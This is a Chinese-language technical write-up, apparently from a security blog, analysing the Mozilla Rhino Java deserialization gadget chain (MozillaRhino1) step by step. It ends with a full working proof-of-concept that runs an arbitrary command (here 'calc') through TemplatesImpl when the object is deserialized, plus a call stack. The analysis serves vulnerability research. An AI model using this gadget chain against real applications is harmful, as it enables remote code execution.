Rhino 是完全使用 Java 编写的 JavaScript 的开源实现,使 Java 可以调用 js 脚本,实现脚本语言与 Java 语言的数据交换
如果使用了与 Ubuntu 或 Debian 捆绑在一起的 OpenJdk,则可能依然存在此条利用链
这里使用的依赖版本为rhino-javascript-1.7R2
首先看看官方的解释
这是Scriptable
接口的一个默认实现,这个类提供了很多方法,能够通过这些方法定义JavaScript
对象的多种属性和方法
我们看看Scriptable
接口的解释
这个接口是所有javaScript对象都必须要实现的,提供了属性的管理和转换执行功能
在这个类中存在有调用链中相关的一个属性slots
,是一个使用transient
修饰的Slot
数组
对于Slot
类,他是一个抽象类,我们需要关注他的子类GetterSlot
存在有两个属性getter / setter
接下来我们来看看这条链子的入口点
跟进org.mozilla.javascript.NativeError
类
首先看看该类的继承关系
继承了IdScriptableObject
类,进而实现了Serializable
接口,能够进行序列化和反序列化的调用
该类的关键点在其toString方法中
调用了类的js_toString
方法,传入的参数是this对象,跟进一下
在该方法中通过调用getString
方法获取了thisObj中的name和message等相关信息,我们看看getString的逻辑
主要是调用ScriptableObject.getProperty
方法获取对应的值,跟进
从注释中我们也可以看见端倪,这个方法的作用就是为了从一个javaScript对象中取出对应的属性名,也算是前面讲到的ScriptableObject
类的管理属性中的获取属性的功能了吧(这不是废话吗)
跟进一下具体的实现吧,首先是将传入的javaScript对象传递给了start
对象,通过调用javaScript对象的get
方法带上属性名和javaScript对象获取结果,即是调用了Scriptable
接口的get方法,一直调用到了其父类的父类ScriptableObject#get
方法,跟进看看
该方法将返回给定的属性名的值或者返回没有找到的标识,值得注意的是,这里提到如果将会有机会调用getter方法,我们跟进一下看看是如何被调用的
方法的流程如下,首先会调用getSlot
方法获取对象的slot对象,如果为空就返回没有找到,如果其不为前面提到的GetterSlot
实例,则直接返回对应slot的值
我们关注的主要是为GetterSlot
实例的情况,首先会取出对应的getter属性对象值,如果不为空且为MemberBox
实例的时候,当该实例中的delegateTo
属性为null的时候,在反射调用的时候其对象为start即是最开始的Scriptable
对象,其参数为空参数
然而在其delegateTo
不为null的时候,将会将属性值作为返回调用的类对象,start作为其参数
上面讲的是MemberBox
的时候的逻辑,我们关注一下MemberBox
是个什么
很不幸的事,在初始化的过程中,这个delegateTo默认为空且因为其被transient
修饰,我们只能走另一个分支,但是对于反射的类对象来说是固定的为传入的Scriptable
对象,不能够指定任意的类对象,所以也pass掉
现在我们还有着一条路可以走,那就是那个else语句部分,如果其不为MemberBox
实例的时候,如果是Function
的实例,将会调用其call方法
接下来就是实现了Function
的类的分析
在org.mozilla.javascript.NativeJavaMethod
类,刚好是一个实现了Function
接口的类
这个类将 Java 方法反映到 JavaScript 环境中并处理方法的重载
看看其构造方法
传入了一个MemberBox
对象,将其保存在了methods
这个MemberBox[]数组中
前面提到调用了call方法,我们跟进一下call方法的逻辑吧
首先是通过findFunction
的调用,通过Context和methods等获取了对应的索引值
之后的关键点在最后的反射的调用,传入对象是javaObject,我们向上追溯可以知道javaObject的由来如下
首先将最开始传递而来的thisObj
参数,即是NativeError
对象,需要满足其通过Wrapper包装过的,在进入if语句之后,调用其unwrap
方法将得到的值传递给javaObject对象
但是在NativeError
类中并没有满足条件,但是如果没有得到相应的条件,调用调用其getPrototype
方法获取他的成员变量
继续进行判断
总结一些,我们需要找到一个既实现了Scriptable
并且又实现了Wrapper
接口的一个类
org.mozilla.javascript.NativeJavaObject
中就是满足条件的类
在其upwrap方法中
将会返回javaObject属性值,虽然这个属性是被transient
修饰的,但是在其readObject
方法中能够保存javaObject属性值
所以现在回到了前面讲到了,取到了对应的javaObject对象,之后将会调用MemberBox#invoke
方法,传入javaObject对象和参数数组
在该类的invoke方法中,首先调用method方法获取了memberObject
属性值
同样的,虽然属性被transient
修饰了,但是同样实现了writeMember/readMember
方法可以保存memberObject属性
所以我们能够控制任意类的任意方法的调用了
前面提到了该链的入口方法是toString
的调用,对于toString的调用,我们并不陌生,很多常见的库都存在对应的toString链,比如CC库/ROME组件/hessian协议中,印象中好像JDK都存在一条toString的调用链
首先构造一个恶意的TemplatesImpl
对象
//动态创建字节码 String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); SerializeUtil.setFieldValue(templates, "_name", "RoboTerh"); SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
之后就是创建一个NativeJavaObject
类对象,使得调用其unwrap
方法,返回恶意的TemplatesImpl
对象
由于该类在序列化和反序列化中将会调用initMembers
方法
对parent属性有相应的处理,所以我们需要在构造类对象的时候为这个属性赋值
Context context = Context.enter(); NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, tmpl, TemplatesImpl.class);
对于TemplatesImpl链来说,主要是调用其newTransformer
方法造成的命令执行
所以我们创建一个NativeJavaMethod
类对象,指定其调用的方法名
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "name");
之后实例化一个入口对象NativeError
// 实例化 NativeError 类 Class<?> nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); Constructor<?> nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); nativeErrorConstructor.setAccessible(true); Scriptable nativeError = (Scriptable) nativeErrorConstructor.newInstance();
根据前面的分析,反射将 nativeJavaObject 写入到 NativeJavaMethod 实例的 prototypeObject 中
Field prototypeField = ScriptableObject.class.getDeclaredField("prototypeObject"); prototypeField.setAccessible(true); prototypeField.set(nativeError, nativeJavaObject);
再之后将 GetterSlot 放入到 NativeError 的 slots 中
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); getSlot.setAccessible(true); Object slotObject = getSlot.invoke(nativeError, "name", 0, 4);
之后就是反射将NativeJavaMethod
写入GetterSlot
的getter
属性中
之后再通过链子触发其toString方法
完整的POC
package pers.MozillaRhino; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.mozilla.javascript.*; import pers.util.SerializeUtil; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; public class MozillaRhino1 { public static void main(String[] args) { try { TemplatesImpl tmpl = (TemplatesImpl) SerializeUtil.generatorTemplatesImpl(); // 使用恶意类 TemplatesImpl 初始化 NativeJavaObject // 这样 unwrap 时会返回 tmpl 实例 // 由于 NativeJavaObject 序列化时会调用 initMembers() 方法 // 所以需要在实例化 NativeJavaObject 时也进行相关初始化 Context context = Context.enter(); NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, tmpl, TemplatesImpl.class); // 使用 newTransformer 的 Method 对象实例化 NativeJavaMethod 类 Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "name"); // 实例化 NativeError 类 Class<?> nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); Constructor<?> nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); nativeErrorConstructor.setAccessible(true); Scriptable nativeError = (Scriptable) nativeErrorConstructor.newInstance(); // 使用反射将 nativeJavaObject 写入到 NativeJavaMethod 实例的 prototypeObject 中 Field prototypeField = ScriptableObject.class.getDeclaredField("prototypeObject"); prototypeField.setAccessible(true); prototypeField.set(nativeError, nativeJavaObject); // 将 GetterSlot 放入到 NativeError 的 slots 中 Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); getSlot.setAccessible(true); Object slotObject = getSlot.invoke(nativeError, "name", 0, 4); // 反射将 NativeJavaMethod 实例放到 GetterSlot 的 getter 里 // ysoserial 调用了 setGetterOrSetter 方法,我这里直接反射写进去,道理都一样 Class<?> getterSlotClass = Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot"); Field getterField = getterSlotClass.getDeclaredField("getter"); getterField.setAccessible(true); getterField.set(slotObject, nativeJavaMethod); // 生成 BadAttributeValueExpException 实例,用于反序列化触发 toString 方法 BadAttributeValueExpException exception = new BadAttributeValueExpException("xxx"); Field valField = exception.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(exception, nativeError); ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(exception); SerializeUtil.readObject(byteArrayOutputStream); } catch (Exception e) { e.printStackTrace(); } } }
exec:347, Runtime (java.lang) <clinit>:-1, Evil newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:423, Constructor (java.lang.reflect) newInstance:442, Class (java.lang) getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:161, MemberBox (org.mozilla.javascript) call:247, NativeJavaMethod (org.mozilla.javascript) getImpl:2024, ScriptableObject (org.mozilla.javascript) get:287, ScriptableObject (org.mozilla.javascript) get:387, IdScriptableObject (org.mozilla.javascript) getProperty:1617, ScriptableObject (org.mozilla.javascript) getString:198, NativeError (org.mozilla.javascript) js_toString:150, NativeError (org.mozilla.javascript) toString:110, NativeError (org.mozilla.javascript) readObject:86, BadAttributeValueExpException (javax.management) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) readObject:51, SerializeUtil (pers.util) main:60, MozillaRhino1 (pers.MozillaRhino)